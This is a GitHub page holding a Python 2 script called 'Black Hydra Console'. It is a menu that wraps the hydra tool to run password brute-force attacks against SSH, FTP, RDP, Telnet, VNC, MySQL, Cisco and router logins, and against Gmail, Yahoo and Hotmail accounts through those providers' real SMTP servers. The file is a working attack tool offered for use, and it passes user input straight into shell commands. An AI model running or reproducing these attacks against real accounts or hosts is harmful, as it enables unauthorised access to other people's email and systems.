-
Notifications
You must be signed in to change notification settings - Fork 85
/
Copy pathblackhydra_1.0.py
204 lines (188 loc) · 6.41 KB
/
blackhydra_1.0.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#!/usr/bin/python
"""
This program is just a small program to shorten brute force sessions on hydra :)
But to be more satisfying results of the brute force. You better interact directly with hydra,
without having to use this black hydra console first: ').
If you find any errors in running our program. Can chat via facebook :).
Hydra is needed for the process of this program :).
"""
import sys, os, time
# Restart ####################
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
##############################
os.system("clear")
print "___ _ ____ ____ _ _ _ _ _ _ ___ ____ ____"
print "|__] | |__| | |_/ |__| \_/ | \ |__/ |__|"
print "|__] |___ | | |___ | \_ | | | |__/ | \ | |"
print "-----------------------------------------------------"
print "[]xxxxx[]::::::::::::::::::::> 24-07-2017 (7:53)"
print " [*] Author: DedSecTL --- [*] Version 1.0"
print "c=={:::::::::::::::> Black Hydra Console"
print " [*] My FB : https://m.facebook.com/100004136748473"
print "(}xxx{):::::::::> AndroSec1337 Cyber Team"
print
print " ===|[ Brute Force ]|==="
print
print " [01] Cisco Brute Force "
print " [02] VNC Brute Force "
print " [03] FTP Brute Force "
print " [04] Gmail Brute Force "
print " [05] SSH Brute Force "
print " [06] TeamSpeak Brute Force "
print " [07] Telnet Brute Force "
print " [08] Yahoo Mail Brute Force "
print " [09] Hotmail Brute Force "
print " [10] Router Speedy Brute Force "
print " [11] RDP Brute Force "
print " [12] MySQL Brute Force "
print
print " [00] Exit"
print
bhydra = raw_input("[*] B-Hydra > ")
if bhydra == '01' or bhydra == '1':
print
print " +---------------------------+"
print " | Cisco Brute Force |"
print " +---------------------------+"
print
print
iphost = raw_input("[*] IP/Hostname : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -P %s %s cisco" % (word, iphost))
sys.exit()
elif bhydra == '02' or bhydra == '2':
print
print " +---------------------------+"
print " | VNC Brute Force |"
print " +---------------------------+"
print
print
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -P %s -e n -t 1 %s vnc -V" % (word, iphost))
iphost = raw_input("[*] IP/Hostname : ")
elif bhydra == '03' or bhydra == '3':
print
print " +------------------------------+"
print " | FTP Brute Force |"
print " +------------------------------+"
print
print
user = raw_input("[*] User : ")
iphost = raw_input("[*] IP/Hostname : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -l %s -P %s %s ftp" % (user, word, iphost))
sys.exit()
elif bhydra == '04' or bhydra == '4':
print
print " +------------------------------+"
print " | Gmail Brute Force |"
print " +------------------------------+"
print
print
email = raw_input("[*] Email : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -l %s -P %s -s 465 smtp.gmail.com smtp" % (email, word))
sys.exit()
elif bhydra == '05' or bhydra == '5':
print
print " +--------------------------------+"
print " | SSH Brute Force |"
print " +--------------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -l %s -P %s %s ssh" % (user, word, iphost))
sys.exit()
elif bhydra == '06' or bhydra == '6':
print
print " +-------------------------+"
print " | TeamSpeak Brute Force |"
print " +-------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -l %s -P %s -s 8676 %s teamspeak" % (user, word, iphost))
sys.exit()
elif bhydra == '07' or bhydra == '7':
print
print " +-------------------------+"
print " | Telnet Brute Force |"
print " +-------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -l %s -P %s %s telnet" % (user, word, iphost))
sys.exit()
elif bhydra == '08' or bhydra == '8':
print
print " +---------------------------+"
print " | Yahoo Brute Force |"
print " +---------------------------+"
print
print
email = raw_input("[*] Email : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -l %s -P %s -s 587 smtp.mail.yahoo.com smtp" % (email, word))
sys.exit()
elif bhydra == '09' or bhydra == '9':
print
print " +----------------------------+"
print " | Hotmail Brute Force |"
print " +----------------------------+"
print
print
email = raw_input("[*] Email : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -l %s -P %s -s 587 smtp.live.com smtp" % (email, word))
sys.exit()
elif bhydra == '10':
print
print " +-----------------------------+"
print " | Router Speedy Brute Force |"
print " +-----------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -m / -l %s -P %s %s http-get" % (user, word, iphost))
sys.exit()
elif bhydra == '11':
print
print " +----------------------------+"
print " | RDP Brute Force |"
print " +----------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
iphost = raw_input("[*] IP/Hostname : ")
os.system("hydra -t 1 -V -f -l %s -P %s %s rdp" % (user, word, iphost))
sys.exit()
elif bhydra == '12':
print
print " +-----------------------------+"
print " | MySQL Brute Force |"
print " +-----------------------------+"
print
print
user = raw_input("[*] User : ")
word = raw_input("[*] Wordlist : ")
os.system("hydra -t 5 -V -f -l %s -e ns -P %s localhost mysql" % (user, word))
elif bhydra == '00' or bhydra == '0':
print "\n[!] Exit the Program..."
sys.exit()
else:
print "\n[!] ERROR : Wrong Input"
time.sleep(1)
restart_program()